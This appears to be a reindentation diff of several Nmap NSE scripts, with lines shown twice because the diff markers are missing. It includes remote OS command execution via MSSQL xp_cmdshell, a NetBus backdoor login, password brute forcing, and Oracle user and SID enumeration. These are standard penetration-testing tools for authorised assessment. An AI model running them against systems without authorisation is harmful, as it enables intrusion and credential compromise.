StandBy bit, [ShutDown] bit, InRecovery bit, NotRecovered bit )]],
"INSERT INTO #hasaccess EXEC sp_MShasdbaccess",
("SELECT %s dbname, owner FROM #hasaccess WHERE dbname NOT IN(%s)"):format(limit, stdnse.strjoin(",", exclude_dbs)),
"DROP TABLE #hasaccess" }
"INSERT INTO #hasaccess EXEC sp_MShasdbaccess",
("SELECT %s dbname, owner FROM #hasaccess WHERE dbname NOT IN(%s)"):format(limit, stdnse.strjoin(",", exclude_dbs)),
"DROP TABLE #hasaccess" }
local creds = mssql.Helper.GetLoginCredentials_All( instance )
if ( not creds ) then
output = "ERROR: No login credentials."
else
for username, password in pairs( creds ) do
local helper = mssql.Helper:new()
status, result = helper:ConnectEx( instance )
if ( not(status) ) then
output = "ERROR: " .. result
break
end
local creds = mssql.Helper.GetLoginCredentials_All( instance )
if ( not creds ) then
output = "ERROR: No login credentials."
else
for username, password in pairs( creds ) do
local helper = mssql.Helper:new()
status, result = helper:ConnectEx( instance )
if ( not(status) ) then
output = "ERROR: " .. result
break
end
if ( status ) then
status = helper:Login( username, password, nil, instance.host.ip )
end
if ( status ) then
status = helper:Login( username, password, nil, instance.host.ip )
end
if ( status ) then
for _, q in pairs(query) do
status, result = helper:Query( q )
if ( status ) then
-- Only the SELECT statement should produce output
if ( #result.rows > 0 ) then
rs = result
end
end
end
end
if ( status ) then
for _, q in pairs(query) do
status, result = helper:Query( q )
if ( status ) then
-- Only the SELECT statement should produce output
if ( #result.rows > 0 ) then
rs = result
end
end
end
end
helper:Disconnect()
helper:Disconnect()
if ( status and rs ) then
result = mssql.Util.FormatOutputTable( rs, true )
result.name = username
if ( RS_LIMIT > 0 ) then
result.name = result.name .. (" (Showing %d first results)"):format(RS_LIMIT)
end
table.insert( output, result )
end
end
end
if ( status and rs ) then
result = mssql.Util.FormatOutputTable( rs, true )
result.name = username
if ( RS_LIMIT > 0 ) then
result.name = result.name .. (" (Showing %d first results)"):format(RS_LIMIT)
end
table.insert( output, result )
end
end
end
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, output )
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, output )
return instanceOutput
return instanceOutput
end
action = function( host, port )
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
end
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
end
return stdnse.format_output( true, scriptOutput )
return stdnse.format_output( true, scriptOutput )
end

View File

@@ -79,7 +79,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
-- added compatibility with changes in mssql.lua (Chris Woodbury)
-- added compatibility with changes in mssql.lua (Chris Woodbury)
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -94,73 +94,73 @@ portrule = mssql.Helper.GetPortrule_Standard()
local function process_instance( instance )
local status, result
local query
local cmd = stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) or 'ipconfig /all'
local output = {}
local status, result
local query
local cmd = stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) or 'ipconfig /all'
local output = {}
query = ("EXEC master..xp_cmdshell '%s'"):format(cmd)
query = ("EXEC master..xp_cmdshell '%s'"):format(cmd)
local creds = mssql.Helper.GetLoginCredentials_All( instance )
if ( not creds ) then
output = "ERROR: No login credentials."
else
for username, password in pairs( creds ) do
local helper = mssql.Helper:new()
status, result = helper:ConnectEx( instance )
if ( not(status) ) then
output = "ERROR: " .. result
break
end
local creds = mssql.Helper.GetLoginCredentials_All( instance )
if ( not creds ) then
output = "ERROR: No login credentials."
else
for username, password in pairs( creds ) do
local helper = mssql.Helper:new()
status, result = helper:ConnectEx( instance )
if ( not(status) ) then
output = "ERROR: " .. result
break
end
if ( status ) then
status = helper:Login( username, password, nil, instance.host.ip )
end
if ( status ) then
status = helper:Login( username, password, nil, instance.host.ip )
end
if ( status ) then
status, result = helper:Query( query )
end
helper:Disconnect()
if ( status ) then
status, result = helper:Query( query )
end
helper:Disconnect()
if ( status ) then
output = mssql.Util.FormatOutputTable( result, true )
output[ "name" ] = string.format( "Command: %s", cmd )
break
elseif ( result and result:gmatch("xp_configure") ) then
if( nmap.verbosity() > 1 ) then
output = "Procedure xp_cmdshell disabled. For more information see \"Surface Area Configuration\" in Books Online."
end
end
end
end
if ( status ) then
output = mssql.Util.FormatOutputTable( result, true )
output[ "name" ] = string.format( "Command: %s", cmd )
break
elseif ( result and result:gmatch("xp_configure") ) then
if( nmap.verbosity() > 1 ) then
output = "Procedure xp_cmdshell disabled. For more information see \"Surface Area Configuration\" in Books Online."
end
end
end
end
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, output )
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, output )
return instanceOutput
return instanceOutput
end
action = function( host, port )
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
if ( not(stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) ) ) then
table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-xp-cmdshell.cmd='<CMD>' to change command.)")
end
end
if ( not(stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) ) ) then
table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-xp-cmdshell.cmd='<CMD>' to change command.)")
end
end
return stdnse.format_output( true, scriptOutput )
return stdnse.format_output( true, scriptOutput )
end

View File

@@ -15,7 +15,7 @@ audits by creating appropriate audit files).
---
-- @usage
-- nmap -p 3306 --script mysql-audit --script-args "mysql-audit.username='root', \
-- mysql-audit.password='foobar',mysql-audit.filename='nselib/data/mysql-cis.audit'"
-- mysql-audit.password='foobar',mysql-audit.filename='nselib/data/mysql-cis.audit'"
--
-- @args mysql-audit.username the username with which to connect to the database
-- @args mysql-audit.password the password with which to connect to the database
@@ -94,89 +94,89 @@ portrule = shortport.port_or_service(3306, "mysql")
local TEMPLATE_NAME, ADMIN_ACCOUNTS = "", ""
local function loadAuditRulebase( filename )
local rules = {}
local rules = {}
local env = setmetatable({
test = function(t) table.insert(rules, t) end;
}, {__index = _G})
local env = setmetatable({
test = function(t) table.insert(rules, t) end;
}, {__index = _G})
local file, err = loadfile(filename, "t", env)
local file, err = loadfile(filename, "t", env)
if ( not(file) ) then
return false, ("ERROR: Failed to load rulebase:\n%s"):format(err)
end
if ( not(file) ) then
return false, ("ERROR: Failed to load rulebase:\n%s"):format(err)
end
file()
TEMPLATE_NAME = env.TEMPLATE_NAME
ADMIN_ACCOUNTS = env.ADMIN_ACCOUNTS
return true, rules
file()
TEMPLATE_NAME = env.TEMPLATE_NAME
ADMIN_ACCOUNTS = env.ADMIN_ACCOUNTS
return true, rules
end
action = function( host, port )
local username = stdnse.get_script_args("mysql-audit.username")
local password = stdnse.get_script_args("mysql-audit.password")
local filename = stdnse.get_script_args("mysql-audit.filename")
local username = stdnse.get_script_args("mysql-audit.username")
local password = stdnse.get_script_args("mysql-audit.password")
local filename = stdnse.get_script_args("mysql-audit.filename")
if ( not(filename) ) then
return "\n No audit rulebase file was supplied (see mysql-audit.filename)"
end
if ( not(filename) ) then
return "\n No audit rulebase file was supplied (see mysql-audit.filename)"
end
if ( not(username) ) then
return "\n No username was supplied (see mysql-audit.username)"
end
if ( not(username) ) then
return "\n No username was supplied (see mysql-audit.username)"
end
local status, tests = loadAuditRulebase( filename )
if( not(status) ) then return tests end
local status, tests = loadAuditRulebase( filename )
if( not(status) ) then return tests end
local socket = nmap.new_socket()
status = socket:connect(host, port)
local socket = nmap.new_socket()
status = socket:connect(host, port)
local response
status, response = mysql.receiveGreeting( socket )
if ( not(status) ) then return response end
local response
status, response = mysql.receiveGreeting( socket )
if ( not(status) ) then return response end
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
if ( not(status) ) then return "ERROR: Failed to authenticate" end
local results = {}
if ( not(status) ) then return "ERROR: Failed to authenticate" end
local results = {}
for _, test in ipairs(tests) do
local queries = ( "string" == type(test.sql) ) and { test.sql } or test.sql
local rowstab = {}
for _, test in ipairs(tests) do
local queries = ( "string" == type(test.sql) ) and { test.sql } or test.sql
local rowstab = {}
for _, query in ipairs(queries) do
local row
status, row = mysql.sqlQuery( socket, query )
if ( not(status) ) then
table.insert( results, { ("%s: ERROR: Failed to execute SQL statement"):format(test.id) } )
else
table.insert(rowstab, row)
end
end
for _, query in ipairs(queries) do
local row
status, row = mysql.sqlQuery( socket, query )
if ( not(status) ) then
table.insert( results, { ("%s: ERROR: Failed to execute SQL statement"):format(test.id) } )
else
table.insert(rowstab, row)
end
end
if ( #rowstab > 0 ) then
local result_part = {}
local res = test.check(rowstab)
local status, data = res.status, res.result
status = ( res.review and "REVIEW" ) or (status and "PASS" or "FAIL")
if ( #rowstab > 0 ) then
local result_part = {}
local res = test.check(rowstab)
local status, data = res.status, res.result
status = ( res.review and "REVIEW" ) or (status and "PASS" or "FAIL")
table.insert( result_part, ("%s: %s => %s"):format(test.id, test.desc, status) )
if ( data ) then
table.insert(result_part, { data } )
end
table.insert( results, result_part )
end
end
table.insert( result_part, ("%s: %s => %s"):format(test.id, test.desc, status) )
if ( data ) then
table.insert(result_part, { data } )
end
table.insert( results, result_part )
end
end
socket:close()
results.name = TEMPLATE_NAME
socket:close()
results.name = TEMPLATE_NAME
table.insert(results, "")
table.insert(results, {name = "Additional information", ("The audit was performed using the db-account: %s"):format(username),
("The following admin accounts were excluded from the audit: %s"):format(stdnse.strjoin(",", ADMIN_ACCOUNTS))
})
table.insert(results, "")
table.insert(results, {name = "Additional information", ("The audit was performed using the db-account: %s"):format(username),
("The following admin accounts were excluded from the audit: %s"):format(stdnse.strjoin(",", ADMIN_ACCOUNTS))
})
return stdnse.format_output(true, { results })
return stdnse.format_output(true, { results })
end

View File

@@ -63,112 +63,112 @@ dependencies = {"netbus-version", "netbus-brute"}
portrule = shortport.port_or_service (12345, "netbus", {"tcp"})
local function format_acl(acl)
if acl == nil then
return {}
end
local payload = string.sub(acl, 9) --skip header
local fields = stdnse.strsplit("|", payload)
table.remove(fields, (# fields))
fields["name"] = "ACL"
return fields
if acl == nil then
return {}
end
local payload = string.sub(acl, 9) --skip header
local fields = stdnse.strsplit("|", payload)
table.remove(fields, (# fields))
fields["name"] = "ACL"
return fields
end
local function format_apps(apps)
if apps == nil then
return {}
end
local payload = string.sub(apps, 10) --skip header
local fields = stdnse.strsplit("|", payload)
table.remove(fields, (# fields))
fields["name"] = "APPLICATIONS"
return fields
if apps == nil then
return {}
end
local payload = string.sub(apps, 10) --skip header
local fields = stdnse.strsplit("|", payload)
table.remove(fields, (# fields))
fields["name"] = "APPLICATIONS"
return fields
end
local function format_info(info)
if info == nil then
return {}
end
local payload = string.sub(info, 6) --skip header
local fields = stdnse.strsplit("|", payload)
fields["name"] = "INFO"
return fields
if info == nil then
return {}
end
local payload = string.sub(info, 6) --skip header
local fields = stdnse.strsplit("|", payload)
fields["name"] = "INFO"
return fields
end
local function format_setup(setup)
local formatted = {}
if setup == nil then
return formatted
end
local fields = stdnse.strsplit(";", setup)
if # fields < 7 then
return formatted
end
formatted["name"] = "SETUP"
table.insert(formatted, string.format("TCP-port: %s", fields[2]))
table.insert(formatted, string.format("Log traffic: %s", fields[3]))
table.insert(formatted, string.format("Password: %s", fields[4]))
table.insert(formatted, string.format("Notify to: %s", fields[5]))
table.insert(formatted, string.format("Notify from: %s", fields[6]))
table.insert(formatted, string.format("SMTP-server: %s", fields[7]))
return formatted
local formatted = {}
if setup == nil then
return formatted
end
local fields = stdnse.strsplit(";", setup)
if # fields < 7 then
return formatted
end
formatted["name"] = "SETUP"
table.insert(formatted, string.format("TCP-port: %s", fields[2]))
table.insert(formatted, string.format("Log traffic: %s", fields[3]))
table.insert(formatted, string.format("Password: %s", fields[4]))
table.insert(formatted, string.format("Notify to: %s", fields[5]))
table.insert(formatted, string.format("Notify from: %s", fields[6]))
table.insert(formatted, string.format("SMTP-server: %s", fields[7]))
return formatted
end
local function format_volume(volume)
local formatted = {}
if volume == nil then
return formatted
end
local fields = stdnse.strsplit(";", volume)
if # fields < 4 then
return formatted
end
formatted["name"] = "VOLUME"
table.insert(formatted, string.format("Wave: %s", fields[2]))
table.insert(formatted, string.format("Synth: %s", fields[3]))
table.insert(formatted, string.format("Cd: %s", fields[4]))
return formatted
local formatted = {}
if volume == nil then
return formatted
end
local fields = stdnse.strsplit(";", volume)
if # fields < 4 then
return formatted
end
formatted["name"] = "VOLUME"
table.insert(formatted, string.format("Wave: %s", fields[2]))
table.insert(formatted, string.format("Synth: %s", fields[3]))
table.insert(formatted, string.format("Cd: %s", fields[4]))
return formatted
end
action = function( host, port )
local password = nmap.registry.args[SCRIPT_NAME .. ".password"]
if not password and nmap.registry.netbuspasswords then
local key = string.format("%s:%d", host.ip, port.number)
password = nmap.registry.netbuspasswords[key]
end
if not password then
password = ""
end
local socket = nmap.new_socket()
socket:set_timeout(5000)
local status, err = socket:connect(host.ip, port.number)
local buffer, err = stdnse.make_buffer(socket, "\r")
local _ = buffer()
socket:send(string.format("Password;1;%s\r", password))
local gotin = buffer()
if gotin == "Access;0" then
return
end
local password = nmap.registry.args[SCRIPT_NAME .. ".password"]
if not password and nmap.registry.netbuspasswords then
local key = string.format("%s:%d", host.ip, port.number)
password = nmap.registry.netbuspasswords[key]
end
if not password then
password = ""
end
local socket = nmap.new_socket()
socket:set_timeout(5000)
local status, err = socket:connect(host.ip, port.number)
local buffer, err = stdnse.make_buffer(socket, "\r")
local _ = buffer()
socket:send(string.format("Password;1;%s\r", password))
local gotin = buffer()
if gotin == "Access;0" then
return
end
socket:send("GetInfo\r")
local info = buffer()
socket:send("GetSetup\r")
local setup = buffer()
socket:send("GetACL\r")
local acl = buffer()
socket:send("GetApps\r")
local apps = buffer()
socket:send("GetVolume\r")
local volume = buffer()
socket:close()
socket:send("GetInfo\r")
local info = buffer()
socket:send("GetSetup\r")
local setup = buffer()
socket:send("GetACL\r")
local acl = buffer()
socket:send("GetApps\r")
local apps = buffer()
socket:send("GetVolume\r")
local volume = buffer()
socket:close()
local response = {}
table.insert(response, format_acl(acl))
table.insert(response, format_apps(apps))
table.insert(response, format_info(info))
table.insert(response, format_setup(setup))
table.insert(response, format_volume(volume))
local response = {}
table.insert(response, format_acl(acl))
table.insert(response, format_apps(apps))
table.insert(response, format_info(info))
table.insert(response, format_setup(setup))
table.insert(response, format_volume(volume))
return stdnse.format_output(true, response)
return stdnse.format_output(true, response)
end

View File

@@ -35,127 +35,127 @@ categories = {"brute", "intrusive"}
portrule = shortport.port_or_service(9929, "nping-echo")
local function randombytes(x)
local bytes = ""
for i = 1, x do
bytes = bytes .. bin.pack("C", math.random(0x00, 0xff))
end
return bytes
local bytes = ""
for i = 1, x do
bytes = bytes .. bin.pack("C", math.random(0x00, 0xff))
end
return bytes
end
local function readmessage(socket, length)
local msg = ""
while #msg < length do
local status, tmp = socket:receive_bytes(1)
if not status then
return nil
end
msg = msg .. tmp
end
return msg
local msg = ""
while #msg < length do
local status, tmp = socket:receive_bytes(1)
if not status then
return nil
end
msg = msg .. tmp
end
return msg
end
Driver =
{
NEP_VERSION = 0x01,
AES_128_CBC = "aes-128-cbc",
SHA256 = "sha256",
NEP_VERSION = 0x01,
AES_128_CBC = "aes-128-cbc",
SHA256 = "sha256",
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
nepkey = function(self, password, nonce, typeid)
local seed = password .. nonce .. typeid
local h = openssl.digest(self.SHA256, seed)
for i = 1, 1000 do
h = openssl.digest(self.SHA256, h)
end
local _, key = bin.unpack("A16", h)
return key
end,
nepkey = function(self, password, nonce, typeid)
local seed = password .. nonce .. typeid
local h = openssl.digest(self.SHA256, seed)
for i = 1, 1000 do
h = openssl.digest(self.SHA256, h)
end
local _, key = bin.unpack("A16", h)
return key
end,
getservernonce = function(self, serverhs)
local parts = {bin.unpack("CC>S>I>Ix4A32x15A32", serverhs)}
return parts[7]
end,
getservernonce = function(self, serverhs)
local parts = {bin.unpack("CC>S>I>Ix4A32x15A32", serverhs)}
return parts[7]
end,
chsbody = function(self)
local IP4 = 0x04
local IP6 = 0x06
local family = IP6
local target = self.host.bin_ip
if #target == 4 then
target = bin.pack("Ax12", target)
family = IP4
end
return bin.pack("ACx15", target, family)
end,
chsbody = function(self)
local IP4 = 0x04
local IP6 = 0x06
local family = IP6
local target = self.host.bin_ip
if #target == 4 then
target = bin.pack("Ax12", target)
family = IP4
end
return bin.pack("ACx15", target, family)
end,
clienths = function(self, snonce, password)
local NEP_HANDSHAKE_CLIENT = 0x02
local NEP_HANDSHAKE_CLIENT_LEN = 36
local NEP_CLIENT_CIPHER_ID = "NEPkeyforCiphertextClient2Server"
local NEP_CLIENT_MAC_ID = "NEPkeyforMACClient2Server"
clienths = function(self, snonce, password)
local NEP_HANDSHAKE_CLIENT = 0x02
local NEP_HANDSHAKE_CLIENT_LEN = 36
local NEP_CLIENT_CIPHER_ID = "NEPkeyforCiphertextClient2Server"
local NEP_CLIENT_MAC_ID = "NEPkeyforMACClient2Server"
local now = nmap.clock()
local seqb = randombytes(4)
local cnonce = randombytes(32)
local nonce = snonce .. cnonce
local enckey = self:nepkey(password, nonce, NEP_CLIENT_CIPHER_ID)
local mackey = self:nepkey(password, nonce, NEP_CLIENT_MAC_ID)
local _, iv = bin.unpack("A16", cnonce)
local plain = self:chsbody()
local crypted = openssl.encrypt(self.AES_128_CBC, enckey, iv, plain)
local head = bin.pack("CC>SA>Ix4A", self.NEP_VERSION, NEP_HANDSHAKE_CLIENT, NEP_HANDSHAKE_CLIENT_LEN, seqb, now, nonce)
local mac = openssl.hmac(self.SHA256, mackey, head .. plain)
local now = nmap.clock()
local seqb = randombytes(4)
local cnonce = randombytes(32)
local nonce = snonce .. cnonce
local enckey = self:nepkey(password, nonce, NEP_CLIENT_CIPHER_ID)
local mackey = self:nepkey(password, nonce, NEP_CLIENT_MAC_ID)
local _, iv = bin.unpack("A16", cnonce)
local plain = self:chsbody()
local crypted = openssl.encrypt(self.AES_128_CBC, enckey, iv, plain)
local head = bin.pack("CC>SA>Ix4A", self.NEP_VERSION, NEP_HANDSHAKE_CLIENT, NEP_HANDSHAKE_CLIENT_LEN, seqb, now, nonce)
local mac = openssl.hmac(self.SHA256, mackey, head .. plain)
return head .. crypted .. mac
end,
return head .. crypted .. mac
end,
testpass = function(self, password)
local SERVERHS_LEN = 96
local FINALHS_LEN = 112
local serverhs = readmessage(self.socket, SERVERHS_LEN)
if serverhs == nil then
return false
end
local snonce = self:getservernonce(serverhs)
local response = self:clienths(snonce, password)
self.socket:send(response)
local finalhs = readmessage(self.socket, FINALHS_LEN)
if finalhs == nil then
return false
end
return true
end,
testpass = function(self, password)
local SERVERHS_LEN = 96
local FINALHS_LEN = 112
local serverhs = readmessage(self.socket, SERVERHS_LEN)
if serverhs == nil then
return false
end
local snonce = self:getservernonce(serverhs)
local response = self:clienths(snonce, password)
self.socket:send(response)
local finalhs = readmessage(self.socket, FINALHS_LEN)
if finalhs == nil then
return false
end
return true
end,
connect = function(self)
self.socket = nmap.new_socket()
return self.socket:connect(self.host, self.port)
end,
connect = function(self)
self.socket = nmap.new_socket()
return self.socket:connect(self.host, self.port)
end,
login = function(self, _, password)
if self:testpass(password) then
return true, brute.Account:new("", password, creds.State.VALID)
end
return false, brute.Error:new("Incorrect password")
end,
login = function(self, _, password)
if self:testpass(password) then
return true, brute.Account:new("", password, creds.State.VALID)
end
return false, brute.Error:new("Incorrect password")
end,
disconnect = function(self)
return self.socket:close()
end,
disconnect = function(self)
return self.socket:close()
end,
}
action = function(host, port)
local engine = brute.Engine:new(Driver, host, port)
engine.options.firstonly = true
engine.options:setOption("passonly", true)
engine.options.script_name = SCRIPT_NAME
local status, result = engine:start()
return result
local engine = brute.Engine:new(Driver, host, port)
engine.options.firstonly = true
engine.options:setOption("passonly", true)
engine.options.script_name = SCRIPT_NAME
local status, result = engine:start()
return result
end

View File

@@ -48,26 +48,26 @@ portrule = shortport.port_or_service(1521, 'oracle-tns' )
local function checkAccount( host, port, user )
local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] )
local status, data = helper:Connect()
local tnscomm, auth
local auth_options = tns.AuthOptions:new()
local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] )
local status, data = helper:Connect()
local tnscomm, auth
local auth_options = tns.AuthOptions:new()
if ( not(status) ) then
return false, data
end
if ( not(status) ) then
return false, data
end
-- A bit ugly, the helper should probably provide a getSocket function
tnscomm = tns.Comm:new( helper.tnssocket )
-- A bit ugly, the helper should probably provide a getSocket function
tnscomm = tns.Comm:new( helper.tnssocket )
status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) )
if ( not(status) ) then
return false, auth
end
helper:Close()
status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) )
if ( not(status) ) then
return false, auth
end
helper:Close()
return true, auth["AUTH_VFR_DATA"]
return true, auth["AUTH_VFR_DATA"]
end
---Generates a random string of the requested length. This can be used to check how hosts react to
@@ -76,85 +76,85 @@ end
--@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore.
--@return The random string.
local function get_random_string(length, set)
if(length == nil) then
length = 8
end
if(length == nil) then
length = 8
end
if(set == nil) then
set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
end
if(set == nil) then
set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
end
local str = ""
local str = ""
for i = 1, length, 1 do
local random = math.random(#set)
str = str .. string.sub(set, random, random)
end
for i = 1, length, 1 do
local random = math.random(#set)
str = str .. string.sub(set, random, random)
end
return str
return str
end
action = function( host, port )
local known_good_accounts = { "system", "sys", "dbsnmp", "scott" }
local known_good_accounts = { "system", "sys", "dbsnmp", "scott" }
local status, salt
local count = 0
local result = {}
local usernames
local status, salt
local count = 0
local result = {}
local usernames
if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then
return "ERROR: Oracle instance not set (see oracle-enum-users.sid or tns.sid)"
end
if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then
return "ERROR: Oracle instance not set (see oracle-enum-users.sid or tns.sid)"
end
status, usernames = unpwdb.usernames()
if( not(status) ) then
return stdnse.format_output(true, "ERROR: Failed to load the usernames dictionary")
end
status, usernames = unpwdb.usernames()
if( not(status) ) then
return stdnse.format_output(true, "ERROR: Failed to load the usernames dictionary")
end
-- Check for some known good accounts
for _, user in ipairs( known_good_accounts ) do
status, salt = checkAccount(host, port, user)
if( not(status) ) then return salt end
if ( salt ) then
count = count + #salt
end
end
-- Check for some known good accounts
for _, user in ipairs( known_good_accounts ) do
status, salt = checkAccount(host, port, user)
if( not(status) ) then return salt end
if ( salt ) then
count = count + #salt
end
end
-- did we atleast get a single salt back?
if ( count < 20 ) then
return stdnse.format_output(true, "ERROR: None of the known accounts were detected (oracle < 11g)")
end
-- did we atleast get a single salt back?
if ( count < 20 ) then
return stdnse.format_output(true, "ERROR: None of the known accounts were detected (oracle < 11g)")
end
-- Check for some known bad accounts
count = 0
for i=1, 10 do
local user = get_random_string(10)
status, salt = checkAccount(host, port, user)
if( not(status) ) then return salt end
if ( salt ) then
count = count + #salt
end
end
-- Check for some known bad accounts
count = 0
for i=1, 10 do
local user = get_random_string(10)
status, salt = checkAccount(host, port, user)
if( not(status) ) then return salt end
if ( salt ) then
count = count + #salt
end
end
-- It's unlikely that we hit 3 random combinations as valid users
if ( count > 60 ) then
return stdnse.format_output(true, ("ERROR: %d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)"):format(count/20, 10))
end
-- It's unlikely that we hit 3 random combinations as valid users
if ( count > 60 ) then
return stdnse.format_output(true, ("ERROR: %d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)"):format(count/20, 10))
end
for user in usernames do
status, salt = checkAccount(host, port, user)
if ( not(status) ) then return salt end
if ( salt and #salt == 20 ) then
table.insert( result, ("%s is a valid user account"):format(user))
end
end
for user in usernames do
status, salt = checkAccount(host, port, user)
if ( not(status) ) then return salt end
if ( salt and #salt == 20 ) then
table.insert( result, ("%s is a valid user account"):format(user))
end
end
if ( #result == 0 ) then
table.insert( result, "Failed to find any valid user accounts")
end
if ( #result == 0 ) then
table.insert( result, "Failed to find any valid user accounts")
end
return stdnse.format_output(true, result)
return stdnse.format_output(true, result)
end

View File

@@ -55,15 +55,15 @@ local tns_type = {CONNECT=1, REFUSE=4, REDIRECT=5, RESEND=11}
--
local function create_tns_header(packetType, packetLength)
local request = bin.pack( ">SSCCS",
packetLength + 34, -- Packet Length
0, -- Packet Checksum
tns_type[packetType], -- Packet Type
0, -- Reserved Byte
0 -- Header Checksum
)
local request = bin.pack( ">SSCCS",
packetLength + 34, -- Packet Length
0, -- Packet Checksum
tns_type[packetType], -- Packet Type
0, -- Reserved Byte
0 -- Header Checksum
)
return request
return request
end
@@ -77,32 +77,32 @@ end
--
local function create_connect_packet( host_ip, port_no, sid )
local connect_data = "(DESCRIPTION=(CONNECT_DATA=(SID=" .. sid .. ")"
connect_data = connect_data .. "(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))"
connect_data = connect_data .. "(ADDRESS=(PROTOCOL=tcp)(HOST=" .. host_ip .. ")"
connect_data = connect_data .. "(PORT=" .. port_no .. ")))"
local connect_data = "(DESCRIPTION=(CONNECT_DATA=(SID=" .. sid .. ")"
connect_data = connect_data .. "(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))"
connect_data = connect_data .. "(ADDRESS=(PROTOCOL=tcp)(HOST=" .. host_ip .. ")"
connect_data = connect_data .. "(PORT=" .. port_no .. ")))"
local data = bin.pack(">SSSSSSSSSSICCA",
308, -- Version
300, -- Version (Compatibility)
0, -- Service Options
2048, -- Session Data Unit Size
32767, -- Maximum Transmission Data Unit Size
20376, -- NT Protocol Characteristics
0, -- Line Turnaround Value
1, -- Value of 1 in Hardware
connect_data:len(), -- Length of connect data
34, -- Offset to connect data
0, -- Maximum Receivable Connect Data
1, -- Connect Flags 0
1, -- Connect Flags 1
connect_data
)
local data = bin.pack(">SSSSSSSSSSICCA",
308, -- Version
300, -- Version (Compatibility)
0, -- Service Options
2048, -- Session Data Unit Size
32767, -- Maximum Transmission Data Unit Size
20376, -- NT Protocol Characteristics
0, -- Line Turnaround Value
1, -- Value of 1 in Hardware
connect_data:len(), -- Length of connect data
34, -- Offset to connect data
0, -- Maximum Receivable Connect Data
1, -- Connect Flags 0
1, -- Connect Flags 1
connect_data
)
local header = create_tns_header("CONNECT", connect_data:len() )
local header = create_tns_header("CONNECT", connect_data:len() )
return header .. data
return header .. data
end
@@ -113,61 +113,61 @@ end
--
local function process_tns_packet( packet )
local tnspacket = {}
local tnspacket = {}
-- just pull out the bare minimum to be able to match
local _
_, tnspacket.Length, tnspacket.Checksum, tnspacket.Type = bin.unpack(">SSC", packet)
-- just pull out the bare minimum to be able to match
local _
_, tnspacket.Length, tnspacket.Checksum, tnspacket.Type = bin.unpack(">SSC", packet)
return tnspacket
return tnspacket
end
action = function(host, port)
local found_sids = {}
local socket = nmap.new_socket()
local catch = function() socket:close() end
local try = nmap.new_try(catch)
local request, response, tns_packet
local sidfile
local found_sids = {}
local socket = nmap.new_socket()
local catch = function() socket:close() end
local try = nmap.new_try(catch)
local request, response, tns_packet
local sidfile
socket:set_timeout(5000)
socket:set_timeout(5000)
-- open the sid file specified by the user or fallback to the default oracle-sids file
local sidfilename = nmap.registry.args.oraclesids or nmap.fetchfile("nselib/data/oracle-sids")
-- open the sid file specified by the user or fallback to the default oracle-sids file
local sidfilename = nmap.registry.args.oraclesids or nmap.fetchfile("nselib/data/oracle-sids")
sidfile = io.open(sidfilename)
sidfile = io.open(sidfilename)
if not sidfile then
return
end
if not sidfile then
return
end
-- read sids line-by-line from the sidfile
for sid in sidfile:lines() do
-- read sids line-by-line from the sidfile
for sid in sidfile:lines() do
-- check for comments
if not sid:match("#!comment:") then
